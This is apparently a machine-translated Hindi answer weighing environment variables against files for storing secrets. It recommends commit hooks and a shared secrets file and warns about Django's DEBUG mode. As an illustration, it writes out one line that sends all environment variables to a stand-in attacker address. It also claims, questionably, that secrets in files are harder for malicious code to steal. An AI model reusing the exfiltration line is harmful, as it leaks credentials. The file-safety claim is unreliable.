AFAICT, ऐसे दो कारण हैं जिनसे लोग पर्यावरण चर में रहस्यों को संग्रहीत करने की सलाह देते हैं:
- अनजाने में गुप्त फ्लैट फ़ाइलों को रेपो में रखना बहुत आसान है। (और अगर यह सार्वजनिक रेपो है, तो आप टोस्ट हैं।)
- यह पासवर्ड अव्यवस्था को रोकता है अर्थात, कई अलग-अलग प्रोजेक्ट निर्देशिका फ़ाइलों में एक ही कुंजी होने से स्वयं एक सुरक्षा जोखिम होता है क्योंकि डेवलपर्स अंततः उन रहस्यों का ट्रैक खो देंगे जहां रहस्य स्थित हैं।
इन दोनों मुद्दों को बेहतर तरीके से हल किया जा सकता है। पूर्व को एक कमिट हुक द्वारा हल किया जाना चाहिए जो पासवर्ड की तरह दिखने वाली चीजों की जांच करता है (उदाहरण के लिए, gitleaks )। काश लिनुस ने इस तरह के टूल को गिट लाइब्रेरी के सोर्स कोड में बनाया हो लेकिन, अफसोस, ऐसा नहीं हुआ। (कहने की जरूरत नहीं है, गुप्त फाइलों को हमेशा जोड़ा जाना चाहिए .gitignore, लेकिन अगर किसी को ऐसा करने के लिए भूल जाता है तो आपको हुक की जरूरत है।)
उत्तरार्द्ध को एक वैश्विक कंपनी रहस्य फ़ाइल के द्वारा हल किया जा सकता है, जिसे आदर्श रूप से केवल-पढ़ने के लिए साझा ड्राइव पर संग्रहीत किया जाता है। तो, पायथन में, आपके पास कुछ ऐसा हो सकता है from company_secrets import *।
इससे भी महत्वपूर्ण बात, जैसा कि दूसरों द्वारा बताया गया है, यह पर्यावरण चर में संग्रहीत रहस्यों को हैक करना बहुत आसान है। उदाहरण के लिए, पायथन में, एक पुस्तकालय लेखक सम्मिलित हो सकता है send_email(address="evil.person@evil.com", text=json.dumps(os.environ))और यदि आप इस कोड को निष्पादित करते हैं तो आप टोस्ट कर सकते हैं। यदि आपके पास अपने सिस्टम पर एक फ़ाइल है, तो हैकिंग अधिक चुनौतीपूर्ण है ~/secret_company_stuff/.my_very_secret_company_stuff।
Django उपयोगकर्ता केवल:
Django (DEBUG मोड में) ब्राउज़र में एक पर्यावरण चर के कच्चे मूल्य को दिखाता है यदि कोई अपवाद है (DEBUG मोड में)। यह बहुत असुरक्षित लगता है, उदाहरण के लिए, एक डेवलपर गलती DEBUG=Trueसे उत्पादन में सेट हो जाता है। इसके विपरीत, Django तार की तलाश द्वारा अंधेरा पासवर्ड सेटिंग्स चर करता है API, TOKEN, KEY, SECRET, PASSया SIGNATUREढांचे के दशक में settings.pyफ़ाइल के चर नाम।